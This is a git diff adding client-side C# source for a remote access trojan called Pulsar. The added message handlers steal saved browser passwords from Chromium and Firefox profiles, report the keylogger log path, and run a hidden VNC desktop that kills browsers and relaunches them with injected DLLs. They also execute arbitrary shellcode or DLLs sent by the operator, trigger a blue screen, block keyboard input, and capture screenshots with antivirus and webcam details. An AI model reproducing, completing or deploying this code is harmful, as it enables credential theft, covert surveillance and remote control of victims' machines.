+ }); + break; + case FileType.File: + File.Delete(message.Path); + client.Send(new SetStatusFileManager + { + Message = "Deleted file", + SetLastDirectorySeen = false + }); + break; + } + + Execute(client, new GetDirectory { RemotePath = Path.GetDirectoryName(message.Path) }); + } + catch (UnauthorizedAccessException) + { + onError("DeletePath No permission"); + } + catch (PathTooLongException) + { + onError("DeletePath Path too long"); + } + catch (DirectoryNotFoundException) + { + onError("DeletePath Path not found"); + } + catch (IOException) + { + onError("DeletePath I/O error"); + } + catch (Exception) + { + onError("DeletePath Failed"); + } + finally + { + if (isError && !string.IsNullOrEmpty(statusMessage)) + client.Send(new SetStatusFileManager { Message = statusMessage, SetLastDirectorySeen = false }); + } + } + + private void Execute(ISender client, DoPathRename message) + { + bool isError = false; + string statusMessage = null; + + Action onError = (msg) => + { + isError = true; + statusMessage = msg; + }; + + try + { + switch (message.PathType) + { + case FileType.Directory: + Directory.Move(message.Path, message.NewPath); + client.Send(new SetStatusFileManager + { + Message = "Renamed directory", + SetLastDirectorySeen = false + }); + break; + case FileType.File: + File.Move(message.Path, message.NewPath); + client.Send(new SetStatusFileManager + { + Message = "Renamed file", + SetLastDirectorySeen = false + }); + break; + } + + Execute(client, new GetDirectory { RemotePath = Path.GetDirectoryName(message.NewPath) }); + } + catch (UnauthorizedAccessException) + { + onError("RenamePath No permission"); + } + catch (PathTooLongException) + { + onError("RenamePath Path too long"); + } + catch (DirectoryNotFoundException) + { + onError("RenamePath Path not found"); + } + catch (IOException) + { + onError("RenamePath I/O error"); + } + catch (Exception) + { + onError("RenamePath Failed"); + } + finally + { + if (isError && !string.IsNullOrEmpty(statusMessage)) + client.Send(new SetStatusFileManager { Message = statusMessage, SetLastDirectorySeen = false }); + } + } + + private void RemoveFileTransfer(int id) + { + if (_activeTransfers.ContainsKey(id)) + { + _activeTransfers[id]?.Dispose(); + _activeTransfers.TryRemove(id, out _); + } + } + + /// + /// Disposes all managed and unmanaged resources associated with this message processor. + /// + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) + { + if (disposing) + { + _client.ClientState -= OnClientStateChange; + _tokenSource.Cancel(); + _tokenSource.Dispose(); + foreach (var transfer in _activeTransfers) + { + transfer.Value?.Dispose(); + } + + _activeTransfers.Clear(); + } + } + } +} diff --git a/Pulsar.Client/Messages/FunStuffHandler.cs b/Pulsar.Client/Messages/FunStuffHandler.cs new file mode 100644 index 0000000..462eb3c --- /dev/null +++ b/Pulsar.Client/Messages/FunStuffHandler.cs @@ -0,0 +1,276 @@ +using Pulsar.Common.Messages; +using Pulsar.Common.Networking; +using Pulsar.Common.Messages.FunStuff; +using Pulsar.Common.Messages.Other; +using Pulsar.Client.FunStuff; +using System; +using System.Drawing; +using System.Drawing.Imaging; +using System.IO; +using System.Threading; +using System.Diagnostics; +using System.Reflection; +using System.Security.Cryptography; +using System.Text; +using System.Collections.Generic; +using System.Runtime.InteropServices; +using System.Windows.Forms; + +namespace Pulsar.Client.Messages +{ + public class FunStuffHandler : IMessageProcessor, IDisposable + { + private BSOD _bsod = new BSOD(); + private SwapMouseButtons _swapMouseButtons = new SwapMouseButtons(); + private HideTaskbar _hideTaskbar = new HideTaskbar(); + private KeyboardInput _keyboardInput = new KeyboardInput(); + private CDTray _cdTray = new CDTray(); + private MonitorPower _monitorPower = new MonitorPower(); + private ShellcodeRunner _shellcodeRunner = new ShellcodeRunner(); + private DllRunner _dllRunner = new DllRunner(); // Added DLL runner + + public bool CanExecute(IMessage message) => + message is DoBSOD || + message is DoSwapMouseButtons || + message is DoHideTaskbar || + message is DoChangeWallpaper || + message is DoBlockKeyboardInput || + message is DoCDTray || + message is DoMonitorsOff || + message is DoSendBinFile; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case DoBSOD msg: + Execute(sender, msg); + break; + case DoSwapMouseButtons msg: + Execute(sender, msg); + break; + case DoHideTaskbar msg: + Execute(sender, msg); + break; + case DoChangeWallpaper msg: + Execute(sender, msg); + break; + case DoBlockKeyboardInput msg: + Execute(sender, msg); + break; + case DoCDTray msg: + Execute(sender, msg); + break; + case DoMonitorsOff msg: + Execute(sender, msg); + break; + case DoSendBinFile msg: + Execute(sender, msg); + break; + } + } + + private void Execute(ISender client, DoSendBinFile message) + { + try + { + // Determine if this is shellcode or DLL based on message properties or content + if (IsDllPayload(message)) + { + _dllRunner.Handle(message, client); + } + else + { + _shellcodeRunner.Handle(message, client); + } + } + catch (Exception ex) + { + client.Send(new SetStatus { Message = $"Failed to execute binary: {ex.Message}" }); + } + } + + private bool IsDllPayload(DoSendBinFile message) + { + // You can implement logic here to determine if the payload is a DLL + // Some possible approaches: + + // 1. Check file extension if available in message + // if (!string.IsNullOrEmpty(message.FileName) && message.FileName.EndsWith(".dll", StringComparison.OrdinalIgnoreCase)) + // return true; + + // 2. Check for DLL signature (MZ header) + if (message.Data?.Length > 1 && message.Data[0] == 0x4D && message.Data[1] == 0x5A) + return true; + + // 3. Add a property to DoSendBinFile message type to specify payload type + // return message.PayloadType == "dll"; + + // For now, default to shellcode execution + return false; + } + + private void Execute(ISender client, DoCDTray message) + { + try + { + _cdTray.Handle(message); + client.Send(new SetStatus { Message = $"CD tray {(message.Open ? "opened" : "closed")} successfully" }); + } + catch (Exception ex) + { + client.Send(new SetStatus { Message = $"Failed to {(message.Open ? "open" : "close")} CD tray: {ex.Message}" }); + } + } + + private void Execute(ISender client, DoMonitorsOff message) + { + try + { + _monitorPower.Handle(message); + client.Send(new SetStatus { Message = $"Monitors turned {(message.Off ? "off" : message.On ? "on" : "no action")} successfully" }); + } + catch (Exception ex) + { + client.Send(new SetStatus { Message = $"Failed to change monitor state: {ex.Message}" }); + } + } + + private void Execute(ISender client, DoBSOD message) + { + client.Send(new SetStatus { Message = "Successful BSOD" }); + _bsod.DOBSOD(); + } + + private void Execute(ISender client, DoSwapMouseButtons message) + { + try + { + SwapMouseButtons.SwapMouse(); + client.Send(new SetStatus { Message = "Successfull Mouse Swap" }); + } + catch + { + client.Send(new SetStatus { Message = "Failed to swap mouse buttons" }); + } + } + + private void Execute(ISender client, DoHideTaskbar message) + { + try + { + client.Send(new SetStatus { Message = "Successful Hide Taskbar" }); + HideTaskbar.DoHideTaskbar(); + } + catch + { + client.Send(new SetStatus { Message = "Failed to hide taskbar" }); + } + } + + private void Execute(ISender client, DoChangeWallpaper message) + { + try + { + string imagePath = SaveImageToFile(message.ImageData, message.ImageFormat); + ChangeWallpaper.SetWallpaper(imagePath); + client.Send(new SetStatus { Message = "Successful Wallpaper Change" }); + } + catch + { + client.Send(new SetStatus { Message = "Failed to change wallpaper" }); + } + } + + private void Execute(ISender client, DoBlockKeyboardInput message) + { + try + { + _keyboardInput.Handle(message); + client.Send(new SetStatus { Message = $"Keyboard input {(message.Block ? "blocked" : "unblocked")} successfully" }); + } + catch (Exception ex) + { + client.Send(new SetStatus { Message = $"Failed to {(message.Block ? "block" : "unblock")} keyboard input: {ex.Message}" }); + } + } + + private string SaveImageToFile(byte[] imageData, string imageFormat) + { + string tempPath = Path.Combine(Path.GetTempPath(), "wallpaper" + GetImageExtension(imageFormat)); + using (MemoryStream ms = new MemoryStream(imageData)) + { + Image image = Image.FromStream(ms); + image.Save(tempPath, GetImageFormat(imageFormat)); + } + return tempPath; + } + + private string GetImageExtension(string imageFormat) + { + switch (imageFormat?.ToLower()) + { + case "jpeg": + case "jpg": + return ".jpg"; + case "png": + return ".png"; + case "bmp": + return ".bmp"; + case "gif": + return ".gif"; + default: + return ".img"; + } + } + + private ImageFormat GetImageFormat(string imageFormat) + { + switch (imageFormat?.ToLower()) + { + case "jpeg": + case "jpg": + return ImageFormat.Jpeg; + case "png": + return ImageFormat.Png; + case "bmp": + return ImageFormat.Bmp; + case "gif": + return ImageFormat.Gif; + default: + throw new NotSupportedException($"Image format {imageFormat} is not supported."); + } + } + + #region IDisposable Implementation + + private bool _disposed = false; + + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) + { + if (!_disposed) + { + if (disposing) + { + _keyboardInput?.Dispose(); + } + _disposed = true; + } + } + + ~FunStuffHandler() + { + Dispose(false); + } + + #endregion + } +} \ No newline at end of file diff --git a/Pulsar.Client/Messages/HVNCHandler.cs b/Pulsar.Client/Messages/HVNCHandler.cs new file mode 100644 index 0000000..0b4443e --- /dev/null +++ b/Pulsar.Client/Messages/HVNCHandler.cs @@ -0,0 +1,416 @@ +ο»Ώusing System; +using System.Collections.Concurrent; +using System.Collections.Generic; +using System.Diagnostics; +using System.Drawing; +using System.Drawing.Imaging; +using System.IO; +using System.Threading; +using System.Threading.Tasks; +using Pulsar.Client.Helper; +using Pulsar.Client.Helper.HVNC; +using Pulsar.Common.Enums; +using Pulsar.Common.Messages; +using Pulsar.Common.Messages.Monitoring.HVNC; +using Pulsar.Common.Messages.Other; +using Pulsar.Common.Networking; +using Pulsar.Common.Video; +using Pulsar.Common.Video.Codecs; + +namespace Pulsar.Client.Messages +{ + public class HVNCHandler : IMessageProcessor, IDisposable + { + private UnsafeStreamCodec _streamCodec; + private BitmapData _desktopData = null; + private Bitmap _desktop = null; + private ISender _clientMain; + private Thread _captureThread; + private CancellationTokenSource _cancellationTokenSource; + + + private readonly ImageHandler ImageHandler = new ImageHandler("PulsarDesktop"); + private readonly InputHandler InputHandler = new InputHandler("PulsarDesktop"); + private readonly ProcessController ProcessHandler = new ProcessController("PulsarDesktop"); + + // frame control variables + private readonly ConcurrentQueue _frameBuffer = new ConcurrentQueue(); + private readonly AutoResetEvent _frameRequestEvent = new AutoResetEvent(false); + private int _pendingFrameRequests = 0; + + //fps counting + private int _framesSent = 0; + private float _currentFps = 0f; + + // max buffer size to prevent memory issues + private const int MAX_BUFFER_SIZE = 10; + + private readonly Stopwatch _stopwatch = new Stopwatch(); + + public bool CanExecute(IMessage message) + { + return message is GetHVNCDesktop || message is DoHVNCInput || message is StartHVNCProcess || message is GetHVNCMonitors; + } + + public bool CanExecuteFrom(ISender sender) + { + return true; + } + + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case GetHVNCDesktop getDesktop: + Execute(sender, getDesktop); + break; + case DoHVNCInput doInput: + InputHandler.Input(doInput.msg, (IntPtr)doInput.wParam, (IntPtr)doInput.lParam); + break; + case StartHVNCProcess startHVNCProcess: + _ = ExecuteAsync(sender, startHVNCProcess); + break; + case GetHVNCMonitors _: + Execute(sender); + break; + } + } + + private void Execute(ISender client, GetHVNCDesktop message) + { + if (message.Status == RemoteDesktopStatus.Stop) + { + StopScreenStreaming(); + } + else if (message.Status == RemoteDesktopStatus.Start) + { + StartScreenStreaming(client, message); + } + else if (message.Status == RemoteDesktopStatus.Continue) + { + Interlocked.Add(ref _pendingFrameRequests, message.FramesRequested); + _frameRequestEvent.Set(); + } + } + + private void StartScreenStreaming(ISender client, GetHVNCDesktop message) + { + var monitorBounds = ScreenHelperCPU.GetBounds(message.DisplayIndex); + var resolution = new Resolution { Height = monitorBounds.Height, Width = monitorBounds.Width }; + + if (_streamCodec == null) + _streamCodec = new UnsafeStreamCodec(message.Quality, message.DisplayIndex, resolution); + + if (message.CreateNew) + { + _streamCodec?.Dispose(); + _streamCodec = new UnsafeStreamCodec(message.Quality, message.DisplayIndex, resolution); + } + + if (_streamCodec.ImageQuality != message.Quality || _streamCodec.Monitor != message.DisplayIndex || _streamCodec.Resolution != resolution) + { + _streamCodec?.Dispose(); + _streamCodec = new UnsafeStreamCodec(message.Quality, message.DisplayIndex, resolution); + } + + _clientMain = client; + + ClearFrameBuffer(); + Interlocked.Exchange(ref _pendingFrameRequests, message.FramesRequested); + + if (_captureThread == null || !_captureThread.IsAlive) + { + _cancellationTokenSource = new CancellationTokenSource(); + _captureThread = new Thread(() => BufferedCaptureLoop(_cancellationTokenSource.Token, message.DisplayIndex)) + { + IsBackground = true, + Name = "HVNC Capture Loop" + }; + _captureThread.Start(); + } + } + + private void StopScreenStreaming() + { + _cancellationTokenSource?.Cancel(); + + if (_captureThread != null && _captureThread.IsAlive) + { + _frameRequestEvent.Set(); + _captureThread.Join(); + _captureThread = null; + } + + if (_desktop != null) + { + if (_desktopData != null) + { + try + { + _desktop.UnlockBits(_desktopData); + } + catch + { + } + _desktopData = null; + } + _desktop.Dispose(); + _desktop = null; + } + + if (_streamCodec != null) + { + _streamCodec.Dispose(); + _streamCodec = null; + } + + ClearFrameBuffer(); + Interlocked.Exchange(ref _pendingFrameRequests, 0); + } + + private void BufferedCaptureLoop(CancellationToken cancellationToken, int displayIndex) + { + _stopwatch.Start(); + + while (!cancellationToken.IsCancellationRequested) + { + try + { + if (_frameBuffer.Count >= MAX_BUFFER_SIZE || _pendingFrameRequests <= 0) + { + _frameRequestEvent.WaitOne(500); + + if (cancellationToken.IsCancellationRequested) + break; + + continue; + } + + byte[] frameData = CaptureFrame(displayIndex); + if (frameData != null) + { + _frameBuffer.Enqueue(frameData); + _framesSent++; + + if (_stopwatch.ElapsedMilliseconds >= 1000) + { + _currentFps = _framesSent / (_stopwatch.ElapsedMilliseconds / 1000f); + _framesSent = 0; + _stopwatch.Restart(); + } + } + + while (_pendingFrameRequests > 0 && _frameBuffer.TryDequeue(out byte[] frameToSend)) + { + SendFrameToServer(frameToSend, Interlocked.Decrement(ref _pendingFrameRequests) == 0); + } + } + catch (Exception) + { + Thread.Sleep(100); + } + } + } + + private byte[] CaptureFrame(int displayIndex) + { + try + { + _desktop = ImageHandler.Screenshot(displayIndex); + + if (_desktop == null) + { + return null; + } + + const PixelFormat codecPixelFormat = PixelFormat.Format32bppArgb; + Bitmap processedBitmap = _desktop; + + if (_desktop.PixelFormat != codecPixelFormat) + { + try + { + processedBitmap = new Bitmap(_desktop.Width, _desktop.Height, codecPixelFormat); + using (Graphics g = Graphics.FromImage(processedBitmap)) + { + g.DrawImage(_desktop, 0, 0, _desktop.Width, _desktop.Height); + } + _desktop.Dispose(); + _desktop = processedBitmap; + } + catch (Exception ex) + { + Debug.WriteLine($"Error converting pixel format: {ex.Message}"); + // Continue with original bitmap if conversion fails + processedBitmap = _desktop; + } + } + + _desktopData = processedBitmap.LockBits(new Rectangle(0, 0, processedBitmap.Width, processedBitmap.Height), + ImageLockMode.ReadWrite, processedBitmap.PixelFormat); + + using (MemoryStream stream = new MemoryStream()) + { + if (_streamCodec == null) throw new Exception("StreamCodec can not be null."); + _streamCodec.CodeImage(_desktopData.Scan0, + new Rectangle(0, 0, processedBitmap.Width, processedBitmap.Height), + new Size(processedBitmap.Width, processedBitmap.Height), + processedBitmap.PixelFormat, stream); + + return stream.ToArray(); + } + } + catch (Exception) + { + return null; + } + finally + { + if (_desktopData != null) + { + _desktop.UnlockBits(_desktopData); + _desktopData = null; + } + _desktop?.Dispose(); + _desktop = null; + } + } + + private void SendFrameToServer(byte[] frameData, bool isLastRequestedFrame) + { + if (frameData == null || _clientMain == null) return; + + try + { + _clientMain.Send(new GetHVNCDesktopResponse + { + Image = frameData, + Quality = _streamCodec.ImageQuality, + Monitor = _streamCodec.Monitor, + Resolution = _streamCodec.Resolution, + Timestamp = DateTimeOffset.UtcNow.ToUnixTimeMilliseconds(), + IsLastRequestedFrame = isLastRequestedFrame, + Fps = _currentFps + }); + } + catch (Exception) + { + } + } + + private void ClearFrameBuffer() + { + while (_frameBuffer.TryDequeue(out _)) { } + } + + private async Task ExecuteAsync(ISender client, StartHVNCProcess message) + { + try + { + string name = message.Path; + bool dontCloneProfile = message.DontCloneProfile; + byte[] dllBytes = message.DllBytes; + + var browserPaths = new Dictionary + { + { "Chrome", Environment.GetEnvironmentVariable("PROGRAMFILES") + "\\Google\\Chrome\\Application\\chrome.exe" }, + { "Edge", Environment.GetEnvironmentVariable("PROGRAMFILES(X86)") + "\\Microsoft\\Edge\\Application\\msedge.exe" }, + { "Brave", Environment.GetEnvironmentVariable("PROGRAMFILES") + "\\BraveSoftware\\Brave-Browser\\Application\\brave.exe" }, + { "Opera", Environment.GetEnvironmentVariable("PROGRAMFILES") + "\\Opera\\opera.exe" }, + { "OperaGX", Environment.GetEnvironmentVariable("PROGRAMFILES") + "\\Opera GX\\opera.exe" }, + { "Mozilla", Environment.GetEnvironmentVariable("PROGRAMFILES") + "\\Mozilla Firefox\\firefox.exe" } + }; + + if (dontCloneProfile && browserPaths.TryGetValue(name, out string executablePath) && File.Exists(executablePath)) + { + string browserProcess = name.ToLower().Replace("mozilla", "firefox").Replace("edge", "msedge").Replace("operagx", "opera"); + string killCommand = $"Conhost --headless cmd.exe /c taskkill /IM {browserProcess}.exe /F"; + Debug.WriteLine(killCommand); + ProcessHandler.CreateProc(killCommand); + await Task.Delay(1000).ConfigureAwait(false); + + Debug.WriteLine($"Direct starting browser: {executablePath}"); + + ProcessHandler.CreateProc(executablePath); + return; + } + + switch (name) + { + case "GenericChromium": + await ProcessHandler.StartGenericChromiumAsync( + dllBytes, + message.CustomBrowserPath, + message.CustomSearchPattern, + message.CustomReplacementPath + ).ConfigureAwait(false); + break; + case "Chrome": + await ProcessHandler.StartChromeAsync(dllBytes).ConfigureAwait(false); + break; + case "Edge": + await ProcessHandler.StartEdgeAsync(dllBytes).ConfigureAwait(false); + break; + case "Brave": + await ProcessHandler.StartBraveAsync(dllBytes).ConfigureAwait(false); + break; + case "Opera": + await ProcessHandler.StartOperaAsync(dllBytes).ConfigureAwait(false); + break; + case "OperaGX": + await ProcessHandler.StartOperaGXAsync(dllBytes).ConfigureAwait(false); + break; + case "Explorer": + ProcessHandler.StartExplorer(); + break; + case "Cmd": + ProcessHandler.StartCmd(); + break; + case "Powershell": + ProcessHandler.StartPowershell(); + break; + case "Mozilla": + await ProcessHandler.StartFirefoxAsync().ConfigureAwait(false); + break; + case "Discord": + ProcessHandler.StartDiscord(); + break; + default: + ProcessHandler.StartGeneric(name); + break; + } + } + catch (Exception ex) + { + Debug.WriteLine($"HVNC process start failed: {ex.Message}"); + } + } + + private void Execute(ISender client) + { + int monitorCount = ImageHandler.GetMonitorCount(); + Debug.WriteLine($"HVNC: Sending monitor count: {monitorCount}"); + client.Send(new GetHVNCMonitorsResponse { Number = monitorCount }); + } + + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) + { + if (disposing) + { + Debug.WriteLine("HVNC Handler Disposed"); + StopScreenStreaming(); + ImageHandler.Dispose(); + InputHandler.Dispose(); + _streamCodec?.Dispose(); + _cancellationTokenSource?.Dispose(); + _frameRequestEvent?.Dispose(); + } + } + } +} diff --git a/Pulsar.Client/Messages/KeyloggerHandler.cs b/Pulsar.Client/Messages/KeyloggerHandler.cs new file mode 100644 index 0000000..40ccde5 --- /dev/null +++ b/Pulsar.Client/Messages/KeyloggerHandler.cs @@ -0,0 +1,30 @@ +ο»Ώusing Pulsar.Client.Config; +using Pulsar.Common.Messages; +using Pulsar.Common.Messages.Monitoring.KeyLogger; +using Pulsar.Common.Messages.Other; +using Pulsar.Common.Networking; + +namespace Pulsar.Client.Messages +{ + public class KeyloggerHandler : IMessageProcessor + { + public bool CanExecute(IMessage message) => message is GetKeyloggerLogsDirectory; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case GetKeyloggerLogsDirectory msg: + Execute(sender, msg); + break; + } + } + + public void Execute(ISender client, GetKeyloggerLogsDirectory message) + { + client.Send(new GetKeyloggerLogsDirectoryResponse {LogsDirectory = Settings.LOGSPATH }); + } + } +} diff --git a/Pulsar.Client/Messages/MessageBoxHandler.cs b/Pulsar.Client/Messages/MessageBoxHandler.cs new file mode 100644 index 0000000..0656cc3 --- /dev/null +++ b/Pulsar.Client/Messages/MessageBoxHandler.cs @@ -0,0 +1,57 @@ +ο»Ώusing Pulsar.Common.Messages; +using Pulsar.Common.Messages.Other; +using Pulsar.Common.Messages.UserSupport.MessageBox; +using Pulsar.Common.Networking; +using System; +using System.Threading; +using System.Windows.Forms; + +namespace Pulsar.Client.Messages +{ + public class MessageBoxHandler : IMessageProcessor + { + public bool CanExecute(IMessage message) => message is DoShowMessageBox; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + if (message is DoShowMessageBox msg) + Execute(sender, msg); + } + + private void Execute(ISender client, DoShowMessageBox message) + { + new Thread(() => + { + try + { + var buttons = (MessageBoxButtons)Enum.Parse(typeof(MessageBoxButtons), message.Button); + var icon = (MessageBoxIcon)Enum.Parse(typeof(MessageBoxIcon), message.Icon); + + DialogResult result = MessageBox.Show( + message.Text, + message.Caption, + buttons, + icon, + MessageBoxDefaultButton.Button1, + MessageBoxOptions.DefaultDesktopOnly); + + // Send which button the user clicked + client.Send(new SetStatus + { + Message = $"MessageBox result: {result}" + }); + } + catch (Exception ex) + { + client.Send(new SetStatus + { + Message = $"Error showing MessageBox: {ex.Message}" + }); + } + }) + { IsBackground = true }.Start(); + } + } +} diff --git a/Pulsar.Client/Messages/NotificationMessageProcessor.cs b/Pulsar.Client/Messages/NotificationMessageProcessor.cs new file mode 100644 index 0000000..6f306bc --- /dev/null +++ b/Pulsar.Client/Messages/NotificationMessageProcessor.cs @@ -0,0 +1,11 @@ +ο»Ώusing Pulsar.Common.Messages; + +namespace Pulsar.Client.Messages +{ + public abstract class NotificationMessageProcessor : MessageProcessorBase + { + protected NotificationMessageProcessor() : base(true) + { + } + } +} diff --git a/Pulsar.Client/Messages/PasswordRecoveryHandler.cs b/Pulsar.Client/Messages/PasswordRecoveryHandler.cs new file mode 100644 index 0000000..df0a1d5 --- /dev/null +++ b/Pulsar.Client/Messages/PasswordRecoveryHandler.cs @@ -0,0 +1,120 @@ +ο»Ώusing Pulsar.Client.Recovery; +using Pulsar.Client.Recovery.Browsers; +using Pulsar.Client.Recovery.Crawler; +using Pulsar.Common.Messages; +using Pulsar.Common.Messages.Monitoring.Passwords; +using Pulsar.Common.Messages.Other; +using Pulsar.Common.Models; +using Pulsar.Common.Networking; +using System; +using System.Collections.Generic; +using System.Diagnostics; + +//public struct BrowserChromium +//{ +// public string Name; +// public string Path; +// public string LocalState; +// public ProfileChromium[] Profiles; +//} + +//public struct ProfileChromium +//{ +// public string Name; +// public string LoginData; +// public string Path; +//} + +//public struct BrowserGecko +//{ +// public string Name; +// public string Path; +// public string Key4; +// public string Logins; +//} + +namespace Pulsar.Client.Messages +{ + public class PasswordRecoveryHandler : IMessageProcessor + { + public bool CanExecute(IMessage message) => message is GetPasswords; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case GetPasswords msg: + Execute(sender, msg); + break; + } + } + + private void Execute(ISender client, GetPasswords message) + { + List recovered = new List(); + + //var passReaders = new IAccountReader[] + //{ + // new BravePassReader(), + // new ChromePassReader(), + // new OperaPassReader(), + // new OperaGXPassReader(), + // new EdgePassReader(), + // new YandexPassReader(), + // new FirefoxPassReader(), + // new InternetExplorerPassReader(), + // new FileZillaPassReader(), + // new WinScpPassReader() + //}; + + //foreach (var passReader in passReaders) + //{ + // try + // { + // recovered.AddRange(passReader.ReadAccounts()); + // } + // catch (Exception e) + // { + // Debug.WriteLine(e); + // } + //} + + List browsers = Crawl.Start(); + + foreach (var browser in browsers) + { + foreach (var chromium in browser.Chromium) + { + foreach (var profile in chromium.Profiles) + { + try + { + recovered.AddRange(ChromiumBase.ReadAccounts(profile.LoginData, chromium.LocalState, chromium.Name)); + } + catch (Exception e) + { + Debug.WriteLine(e); + } + } + } + + foreach (var gecko in browser.Gecko) + { + try + { + recovered.AddRange(FirefoxPassReader.ReadAccounts(gecko.ProfilesDir, gecko.Name)); + } + catch (Exception e) + { + Debug.WriteLine(e); + } + //Debug.WriteLine(gecko.Path); + } + } + + client.Send(new GetPasswordsResponse { RecoveredAccounts = recovered }); + } + } +} \ No newline at end of file diff --git a/Pulsar.Client/Messages/PingHandler.cs b/Pulsar.Client/Messages/PingHandler.cs new file mode 100644 index 0000000..701c6dc --- /dev/null +++ b/Pulsar.Client/Messages/PingHandler.cs @@ -0,0 +1,37 @@ +using Pulsar.Common.Messages; +using Pulsar.Common.Messages.Other; +using Pulsar.Common.Networking; +using System; +using System.Diagnostics; + +namespace Pulsar.Client.Messages +{ + /// + /// Handles ping requests from the server. + /// + public class PingHandler : IMessageProcessor + { + /// + public bool CanExecute(IMessage message) => message is PingRequest; + + /// + public bool CanExecuteFrom(ISender sender) => true; + + /// + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case PingRequest pingRequest: + Execute(sender, pingRequest); + break; + } + } + + private void Execute(ISender client, PingRequest message) + { + // respond fast ash + client.Send(new PingResponse()); + } + } +} diff --git a/Pulsar.Client/Messages/PreviewHandler.cs b/Pulsar.Client/Messages/PreviewHandler.cs new file mode 100644 index 0000000..33971bd --- /dev/null +++ b/Pulsar.Client/Messages/PreviewHandler.cs @@ -0,0 +1,160 @@ +ο»Ώusing Pulsar.Client.Helper; +using Pulsar.Client.IO; +using Pulsar.Client.User; +using Pulsar.Common.Enums; +using Pulsar.Common.Messages; +using Pulsar.Common.Messages.Other; +using Pulsar.Common.Messages.Preview; +using Pulsar.Common.Networking; +using Pulsar.Common.Video; +using Pulsar.Common.Video.Codecs; +using System; +using System.Diagnostics; +using System.Drawing; +using System.Drawing.Imaging; +using System.IO; +using System.Linq; + +namespace Pulsar.Client.Messages +{ + public class PreviewHandler : NotificationMessageProcessor, IDisposable + { + private UnsafeStreamCodec _streamCodec; + private BitmapData _desktopData = null; + private Bitmap _desktop = null; + private int _displayIndex = 0; + private ISender _clientMain; + + public override bool CanExecute(IMessage message) => message is GetPreviewImage; + + public override bool CanExecuteFrom(ISender sender) => true; + + public override void Execute(ISender sender, IMessage message) + { + switch (message) + { + case GetPreviewImage msg: + Execute(sender, msg); + break; + } + } + + private void Execute(ISender client, GetPreviewImage message) + { + Debug.WriteLine("Capturing single desktop image"); + + _displayIndex = message.DisplayIndex; + _clientMain = client; + + var monitorBounds = ScreenHelperCPU.GetBounds(message.DisplayIndex); + var resolution = new Resolution { Height = monitorBounds.Height, Width = monitorBounds.Width }; + + if (_streamCodec == null) + _streamCodec = new UnsafeStreamCodec(message.Quality, message.DisplayIndex, resolution); + + if (_streamCodec.ImageQuality != message.Quality || _streamCodec.Monitor != message.DisplayIndex || _streamCodec.Resolution != resolution) + { + _streamCodec?.Dispose(); + _streamCodec = new UnsafeStreamCodec(message.Quality, message.DisplayIndex, resolution); + } + + CaptureAndSendScreen(); + } + + private void CaptureAndSendScreen() + { + try + { + _desktop = ScreenHelperCPU.CaptureScreen(_displayIndex, true); + + if (_desktop == null) + { + Debug.WriteLine("Error capturing screen: Bitmap is null"); + return; + } + + const PixelFormat codecPixelFormat = PixelFormat.Format32bppArgb; + Bitmap processedBitmap = _desktop; + + if (_desktop.PixelFormat != codecPixelFormat) + { + try + { + processedBitmap = new Bitmap(_desktop.Width, _desktop.Height, codecPixelFormat); + using (Graphics g = Graphics.FromImage(processedBitmap)) + { + g.DrawImage(_desktop, 0, 0, _desktop.Width, _desktop.Height); + } + _desktop.Dispose(); + _desktop = processedBitmap; + } + catch (Exception ex) + { + Debug.WriteLine($"Error converting pixel format: {ex.Message}"); + processedBitmap = _desktop; + } + } + + _desktopData = processedBitmap.LockBits(new Rectangle(0, 0, processedBitmap.Width, processedBitmap.Height), + ImageLockMode.ReadWrite, processedBitmap.PixelFormat); + + using (MemoryStream stream = new MemoryStream()) + { + if (_streamCodec == null) throw new Exception("StreamCodec can not be null."); + _streamCodec.CodeImage(_desktopData.Scan0, + new Rectangle(0, 0, processedBitmap.Width, processedBitmap.Height), + new Size(processedBitmap.Width, processedBitmap.Height), + processedBitmap.PixelFormat, stream); + _clientMain.Send(new GetPreviewResponse + { + Image = stream.ToArray(), + Quality = _streamCodec.ImageQuality, + Monitor = _streamCodec.Monitor, + Resolution = _streamCodec.Resolution, + CPU = HardwareDevices.CpuName, + GPU = HardwareDevices.GpuNames, + RAM = HardwareDevices.TotalPhysicalMemory.ToString(), + Uptime = SystemHelper.GetUptime(), + AV = SystemHelper.GetAntivirus(), + MainBrowser = SystemHelper.GetDefaultBrowser(), + HasWebcam = (WebcamHelper.GetWebcams()?.Length > 0), + AFKTime = ActivityDetection.UserIdleTime().ToString() + }); + + _streamCodec = null; + } + } + catch (Exception ex) + { + Debug.WriteLine($"Error capturing screen: {ex.Message}"); + } + finally + { + if (_desktopData != null) + { + _desktop.UnlockBits(_desktopData); + _desktopData = null; + } + _desktop?.Dispose(); + _desktop = null; + } + } + + /// + /// Disposes all managed and unmanaged resources associated with this message processor. + /// + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) + { + if (disposing) + { + _streamCodec?.Dispose(); + } + } + } +} diff --git a/Pulsar.Client/Messages/QueryHandler.cs b/Pulsar.Client/Messages/QueryHandler.cs new file mode 100644 index 0000000..67c030e --- /dev/null +++ b/Pulsar.Client/Messages/QueryHandler.cs @@ -0,0 +1,100 @@ +ο»Ώusing Pulsar.Common.Messages; +using Pulsar.Common.Networking; +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using Pulsar.Common.Messages.Other; +using Pulsar.Common.Messages.Monitoring.Query; +using Pulsar.Common.Models.Query.Browsers; +using Pulsar.Common.Messages.Monitoring.Query.Browsers; + +namespace Pulsar.Client.Messages +{ + class QueryHandler + { + public bool CanExecute(IMessage message) => message is GetBrowsers; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case GetBrowsers msg: + Execute(sender, msg); + break; + } + } + + + private void Execute(ISender client, GetBrowsers message) + { + // get the browsers on the users 